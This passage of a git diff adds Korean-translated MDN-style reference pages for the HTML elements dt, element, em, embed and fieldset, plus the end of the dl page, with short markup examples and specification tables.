+<p>위의 예제를 결합하여 여러 용어를 여러 정의와 연결하는 것도 가능합니다.</p>
+
+<h3 id="메타데이터">메타데이터</h3>
+
+<p><code>&lt;dl&gt;</code>은 메타데이터를 키-값 쌍으로 표시할 때도 유용합니다.</p>
+
+<pre class="brush: html">&lt;dl&gt;
+ &lt;dt&gt;Name&lt;/dt&gt;
+ &lt;dd&gt;Godzilla&lt;/dd&gt;
+ &lt;dt&gt;Born&lt;/dt&gt;
+ &lt;dd&gt;1952&lt;/dd&gt;
+ &lt;dt&gt;Birthplace&lt;/dt&gt;
+ &lt;dd&gt;Japan&lt;/dd&gt;
+ &lt;dt&gt;Color&lt;/dt&gt;
+ &lt;dd&gt;Green&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>팁: 아래처럼 키-값 구분자를 CSS로 지정하면 편리합니다.</p>
+
+<pre class="brush: css">dt:after {
+ content: ": ";
+}</pre>
+
+<p>{{EmbedLiveSample("메타데이터")}}</p>
+
+<h3 id="이름-값_그룹을_htmlelementdiv로_감싸기">이름-값 그룹을 {{htmlelement("div")}}로 감싸기</h3>
+
+<p>{{glossary("WHATWG")}} HTML에서는 <code>&lt;dl&gt;</code> 안 각각의 이름-값 그룹을 {{htmlelement("div")}}로 감쌀 수 있습니다. 마이크로데이터를 사용할 때, 그룹에 전역 특성을 적용할 때, 아니면 스타일을 적용할 때 유용할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;dl&gt;
+ &lt;div&gt;
+ &lt;dt&gt;Name&lt;/dt&gt;
+ &lt;dd&gt;Godzilla&lt;/dd&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;dt&gt;Born&lt;/dt&gt;
+ &lt;dd&gt;1952&lt;/dd&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;dt&gt;Birthplace&lt;/dt&gt;
+ &lt;dd&gt;Japan&lt;/dd&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;dt&gt;Color&lt;/dt&gt;
+ &lt;dd&gt;Green&lt;/dd&gt;
+ &lt;/div&gt;
+&lt;/dl&gt;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>페이지에서 들여쓰기를 하기 위한 목적으로 <code>&lt;dl&gt;</code> (또는 {{htmlelement("ul")}}) 요소를 사용하지 마세요. 작동할 수는 있으나 좋지 않은 방법이고, 설명 목록의 원래 목적을 흐립니다.</p>
+
+<p>용어의 들여쓰기를 수정하려면 <a href="/ko/docs/Web/CSS">CSS</a> {{cssxref("margin")}} 속성을 사용하세요.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>각각의 스크린 리더는 <code>&lt;dl&gt;</code>을 다르게 표현합니다. iOS의 VoiceOver 등 일부 스크린 리더는 <code>&lt;dl&gt;</code>의 콘텐츠를 리스트로 표현하지 않습니다. 따라서, 각 아이템의 콘텐츠는 리스트 그룹 내 다른 항목과의 관계를 표현할 수 있는 방식으로 작성해야 합니다.</p>
+
+<ul>
+ <li><a href="https://s.codepen.io/aardrian/debug/NzGaKP">CodePen - HTML Buddies: dt &amp; dd</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-dl-element', '&lt;dl&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dl-element', '&lt;dl&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dl&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.dl")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("dt")}} 요소</li>
+ <li>{{HTMLElement("dd")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/dt/index.html b/files/ko/web/html/element/dt/index.html
new file mode 100644
index 0000000000..0aa8c9d4d4
--- /dev/null
+++ b/files/ko/web/html/element/dt/index.html
@@ -0,0 +1,99 @@
+---
+title: <dt>
+slug: Web/HTML/Element/dt
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - Reference
+translation_of: Web/HTML/Element/dt
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;dt&gt;</code> 요소</strong>는 설명 혹은 정의 리스트에서 용어를 나타냅니다. {{htmlelement("dl")}} 요소 안에 위치해야 합니다</span>. 보통 {{htmlelement("dd")}} 요소가 뒤따르지만, 여러 개의 &lt;dt&gt; 요소를 연속해 배치하면 바로 다음 {{htmlelement("dd")}} 요소로 한꺼번에 서술할 수 있습니다.</p>
+
+<p>뒤따르는 {{htmlelement("dd")}} 요소가 <code>&lt;dt&gt;</code>로 지정한 용어의 정의와 기타 관련 글을 제공합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dt.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>. 단, {{htmlelement("header")}}, {{htmlelement("footer")}}, 구획 콘텐츠, 제목 콘텐츠 자손은 불가능합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 바로 다음 요소가 {{htmlelement("dd")}} 또는 <code>&lt;dt&gt;</code>거나, 자신이 부모의 마지막 자식이라면 닫는 태그는 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("dl")}} 안의, {{htmlelement("dd")}} 혹은 다른 <code>&lt;dt&gt;</code> 앞. 또는 ({{glossary("WHATWG")}} HTML에서) {{htmlelement("dl")}} 안의 {{htmlelement("div")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td>{{ARIARole("term")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/HTML/Element/dl#예제">&lt;dl&gt; 요소의 예제</a>를 확인하세요.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-dt-element', '&lt;dt&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dt-element', '&lt;dt&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dt&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.dt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("dd")}}, {{HTMLElement("dl")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/element/index.html b/files/ko/web/html/element/element/index.html
new file mode 100644
index 0000000000..be045093a5
--- /dev/null
+++ b/files/ko/web/html/element/element/index.html
@@ -0,0 +1,57 @@
+---
+title: <element>
+slug: Web/HTML/Element/element
+translation_of: Web/HTML/Element/element
+---
+<div>{{HTMLRef}}{{obsolete_header}}</div>
+
+<p><span class="seoSummary">The obsolete <strong>HTML <code>&lt;element&gt;</code> element</strong> was part of the <a href="/en-US/docs/Web/Web_Components">Web Components</a> specification; it was intended to be used to define new custom DOM elements.</span> It was removed in favor of a JavaScript-driven approach for creating new custom elements.</p>
+
+<div class="warning">
+<p><strong>Note:</strong> This element has been removed from the specification. See <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">this</a> for more information from the editor of the specification.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content">Transparent content</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td>???</td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parent elements</th>
+ <td>???</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<p>The <code>&lt;element&gt;</code> element was formerly in a draft specification of <a href="http://w3c.github.io/webcomponents/spec/custom/">Custom Elements</a> but it has been removed.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.element")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>Web components: {{HTMLElement("content")}}, {{HTMLElement("shadow")}}, {{HTMLElement("slot")}}, and {{HTMLElement("template")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/em/index.html b/files/ko/web/html/element/em/index.html
new file mode 100644
index 0000000000..7043cf1ce8
--- /dev/null
+++ b/files/ko/web/html/element/em/index.html
@@ -0,0 +1,124 @@
+---
+title: '<em>: 강세 요소'
+slug: Web/HTML/Element/em
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/em
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;em&gt;</code> 요소</strong>는 텍스트의 강세를 나타냅니다. <code>&lt;em&gt;</code> 요소를 중첩하면 더 큰 강세를 뜻하게 됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/em.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;em&gt;</code> 요소는 주위 텍스트에 비해 강조된 부분을 나타냅니다. 보통 한 문장에서 단어 하나 혹은 몇 개로 제한되며, 문장의 의미에 영향을 미칠 수 있습니다.</p>
+
+<p><code>&lt;em&gt;</code>은 주로 기울임꼴을 적용해 표현합니다. 그러나 단순히 기울임꼴이 필요해서 <code>&lt;em&gt;</code>을 사용하면 안됩니다. CSS {{cssxref("font-style")}} 속성을 사용하세요. 그 외에 흔히 기울임꼴을 많이 쓰는 경우를 정리하자면 저작물(책, 연극, 음악 등등)의 제목은 {{htmlelement("cite")}}, 학명 등 과학적인 이름이나 다른 언어의 단어 등, 주변과 다른 톤을 가진 텍스트에는 {{htmlelement("i")}}를 사용하세요. 주변보다 훨씬 중요한 텍스트는 {{htmlelement("strong")}}으로 강조하면 됩니다.</p>
+
+<h3 id="&lt;i>와_&lt;em>"><code>&lt;i&gt;</code>와 <code>&lt;em&gt;</code></h3>
+
+<p>신입 개발자가 자주 혼란스러운 부분 중 하나가, 서로 다른 요소인데 비슷한 결과물을 내놓는 경우입니다. <code>&lt;em&gt;</code>과 {{htmlelement("i")}}가 그 예로서, 둘 다 글자를 기울이는데 그러면 차이가 뭘까요? 어떤 걸 써야 할까요?</p>
+
+<p>기본 설정에서 시각적 모습은 동일합니다. 그러나 의미는 다릅니다. <code>&lt;em&gt;</code>은 콘텐츠를 강조하지만, <code>&lt;i&gt;</code>는 외국어, 등장인물의 생각 등 일반적인 산문에서 벗어난 경우 사용합니다. (책이나 영화 등의 제목은 {{htmlelement("cite")}}를 사용하세요.)</p>
+
+<p>그러므로 요소 선택은 상황에 따라 달라야 하며, 순수하게 꾸밈을 위한 요소는 없습니다. 스타일은 CSS에 맡기세요.</p>
+
+<p><code>&lt;em&gt;</code>은 "Just <em>do</em> it already!"나 "We <em>had</em> to do something about it."처럼 쓸 수 있습니다. 이 글을 읽는 사람이나 소프트웨어는 기울임꼴 부분에 강세를 두고 말할 것입니다.</p>
+
+<p><code>&lt;i&gt;</code>는 "The <em>Queen Mary</em> sailed last night."처럼 사용합니다. "Queen Mary"를 강조하는 것도 아니고, 중요한 단어도 아닙니다. 다만 이 단어가 Mary라는 이름의 여왕이 아니고, <em>Queen Mary</em>라는 이름의 선박임을 나타낼 뿐입니다. "The word <em>the</em> is an article"도 좋은 예제가 되겠습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>&lt;em&gt;</code> 요소는 명시적이거나 암시적인 대조를 표현할 때 주로 사용합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;
+ 과거에 &lt;em&gt;block-level&lt;/em&gt;이라 불렸던
+ 콘텐츠는 HTML 5부터 &lt;em&gt;flow&lt;/em&gt; 콘텐츠라고
+ 말합니다.
+&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-em-element', '&lt;em&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-em-element', '&lt;em&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;em&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.em")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("i")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/embed/index.html b/files/ko/web/html/element/embed/index.html
new file mode 100644
index 0000000000..33268299e2
--- /dev/null
+++ b/files/ko/web/html/element/embed/index.html
@@ -0,0 +1,81 @@
+---
+title: <embed>
+slug: Web/HTML/Element/embed
+tags:
+ - HTML
+ - HTML 포함된 컨텐츠
+ - HTML5
+ - 레퍼런스
+ - 요소
+ - 웹
+translation_of: Web/HTML/Element/embed
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;embed&gt;</code> 요소</strong>는 외부 어플리케이션이나 대화형 컨텐츠와의 통합점을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/embed.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">컨텐츠 범주</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">플로우 컨텐츠</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">구문 컨텐츠</a>, 포함된 컨텐츠, 대화형 컨텐츠, palpable 컨텐츠.</li>
+ <li><dfn>허용된 컨텐츠</dfn> 없음. 이것은 {{Glossary("empty element")}}.</li>
+ <li><dfn>태그 생략</dfn> 시작 태그는 있어야 하며, 종료태그는 있어서는 안됩니다.</li>
+ <li><dfn>허용된 부모 요소</dfn> 포함된 컨텐츠를 허용하는 모든 요소</li>
+ <li><dfn>DOM 인터페이스</dfn> {{domxref("HTMLEmbedElement")}}</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>리소스의 표시될 높이 길이를 CSS 픽셀로 지정</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>포함된 리소스의 URL</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>인스턴스화할 플러그인을 고르기 위해 사용되는 MIME 타입</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>리소스의 표시될 가로 길이를 CSS 픽셀로 지정</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;embed type="video/quicktime" src="movie.mov" width="640" height="480"&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'the-iframe-element.html#the-embed-element', '&lt;embed&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-embed-element', '&lt;embed&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.embed")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다양한 타입의 포함된 컨텐츠를 위해 사용되는 다른 요소들 {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, and {{HTMLElement("video")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/fieldset/index.html b/files/ko/web/html/element/fieldset/index.html
new file mode 100644
index 0000000000..951d0f385c
--- /dev/null
+++ b/files/ko/web/html/element/fieldset/index.html
@@ -0,0 +1,151 @@
+---
+title: '<fieldset>: 필드셋 요소'
+slug: Web/HTML/Element/fieldset
+tags:
+ - Element
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/fieldset
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;fieldset&gt;</code> 요소</strong>는 웹 양식의 여러 컨트롤과 레이블({{htmlelement("label")}})을 묶을 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/fieldset.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>위의 예제에서 보듯, <code>&lt;fieldset&gt;</code> 요소는 HTML 양식 속에서 그룹을 만들 수 있으며 {{htmlelement("legend")}} 요소로 그룹의 설명을 제공할 수 있습니다. 여러 특성을 지정할 수 있는데, 그 중 중요한 것 하나는 페이지 내 {{htmlelement("form")}} 요소의 <code>id</code>를 받을 수 있는 <code>form</code> 특성으로, <code>&lt;form&gt;</code> 바깥의 <code>&lt;fieldset&gt;</code> 요소를 해당 양식에 포함해야 할 때 사용합니다. 다른 하나는 <code>disabled</code>로, <code>&lt;fieldset&gt;</code>의 모든 콘텐츠를 한 번에 비활성화할 수 있습니다.</p>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>지정한 경우, 모든 자손 컨트롤을 비활성화합니다. 비활성 컨트롤은 편집할 수 없고, {{htmlelement("form")}}을 제출할 때 데이터에 포함되지 않습니다. 마우스 클릭, 포커스 등 브라우저 이벤트도 모두 받지 않습니다. 브라우저는 비활성 컨트롤을 주로 회색으로 표시합니다. 단, {{htmlelement("legend")}} 안의 양식 요소는 비활성 상태로 전환되지 않습니다.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd><code>&lt;fieldset&gt;</code> 요소와 연결할 {{htmlelement("form")}} 요소("양식 소유자")의 {{htmlattrxref("id")}}. <code>&lt;fieldset&gt;</code>이 해당 <code>&lt;form&gt;</code> 안에 위치하지 않아도 연결할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>그룹과 연관지을 이름.
+ <div class="note"><strong>참고:</strong> <code>&lt;fieldset&gt;</code>에 대한 설명은 자신이 포함한 첫 번째 {{htmlelement("legend")}} 요소가 담당합니다.</div>
+ </dd>
+</dl>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;fieldset&gt;</code>에 스타일을 적용하기 전에 고려해야 하는 부분이 있습니다.</p>
+
+<p><code>&lt;fieldset&gt;</code>의 {{cssxref("display")}} 속성의 값은 기본적으로 <code>block</code>이며, 새로운 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a>을 형성합니다. 인라인형 <code>display</code> 값을 지정하면 <code>inline-block</code>, 그렇지 않으면 <code>block</code>처럼 행동합니다. <code>&lt;fieldset&gt;</code>은 기본 스타일로 콘텐츠를 감싸는 <code>2px</code> 너비의 <code>groove</code> 테두리, 작은 양의 내부 여백, 그리고 {{cssxref("min-inline-size", "min-inline-size: min-content")}}를 갖습니다.</p>
+
+<p>{{htmlelement("legend")}} 요소는 <code>&lt;fieldset&gt;</code>의 블록 시작 방향(대개 위쪽) 테두리 위를 가로지르는 위치에 놓입니다. <code>&lt;legend&gt;</code> 또한 자신의 블록 서식 맥락을 만들며, 너비는 자신의 콘텐츠에 맞춰져 늘어나거나 줄어듭니다. <code>display</code>는 항상 블록형이 됩니다. 즉, <code>display: inline</code>도 <code>block</code>처럼 동작합니다.</p>
+
+<p><code>&lt;fieldset&gt;</code>의 콘텐츠는 별도의 익명 상자가 담게 됩니다. 익명 상자는 <code>&lt;fieldset&gt;</code>으로부터 특정 속성을 상속합니다. <code>&lt;fielset&gt;</code>에 <code>display: grid</code> 또는 <code>display: inline-grid</code>를 지정하면 익명 상자는 그리드 서식 맥락을 가지며, <code>display: flex</code> 또는 <code>display: inline-flex</code>를 지정하면 익명 상자가 플렉스 서식 맥락을 갖습니다. 그 외의 경우 블록 서식 맥락입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 글 작성 시점에서, Microsoft Edge와 Google Chrome에는 {{htmlelement("fieldset")}} 내부에서 플렉스박스와 그리드 레이아웃을 사용할 수 없는 버그가 존재합니다. <a href="https://github.com/w3c/csswg-drafts/issues/321">GitHub 이슈</a>에서 버그 추적 링크를 확인할 수 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_필드셋">간단한 필드셋</h3>
+
+<p>다음 예제는 {{htmlelement("legend")}}와 하나의 컨트롤을 가진 단순한 <code>&lt;fieldset&gt;</code>을 보입니다.</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+ &lt;fieldset&gt;
+ &lt;legend&gt;Simple fieldset&lt;/legend&gt;
+ &lt;input type="radio" id="radio"&gt;
+ &lt;label for="radio"&gt;Spirit of radio&lt;/label&gt;
+ &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('간단한_필드셋', '100%', '80') }}</p>
+
+<h3 id="비활성_필드셋">비활성 필드셋</h3>
+
+<p>다음 예제는 두 개의 컨트롤을 가진 비활성 <code>&lt;fieldset&gt;</code>을 보입니다. 각각의 컨트롤은 <code>disabled</code> 특성이 없으나, 필드셋으로 인해 함께 비활성 상태가 된 점을 확인할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+ &lt;fieldset disabled&gt;
+ &lt;legend&gt;Disabled fieldset&lt;/legend&gt;
+ &lt;div&gt;
+ &lt;label for="name"&gt;Name: &lt;/label&gt;
+ &lt;input type="name" id="text" value="Chris"&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;label for="pwd"&gt;Archetype: &lt;/label&gt;
+ &lt;input type="password" id="text" value="Wookie"&gt;
+ &lt;/div&gt;
+ &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('비활성_필드셋', '100%', '110') }}</p>
+
+<h2 id="Specifications" name="Specifications">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 구획 루트, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>(<a href="/ko/docs/Web/Guide/HTML/Content_categories#나열됨">나열됨</a>), 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>선택적인 {{HTMLElement("legend")}} 요소와 그 이후의 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLFieldSetElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Definition of the <code>fieldset</code> element</td>
+ </tr>
+ <tr>
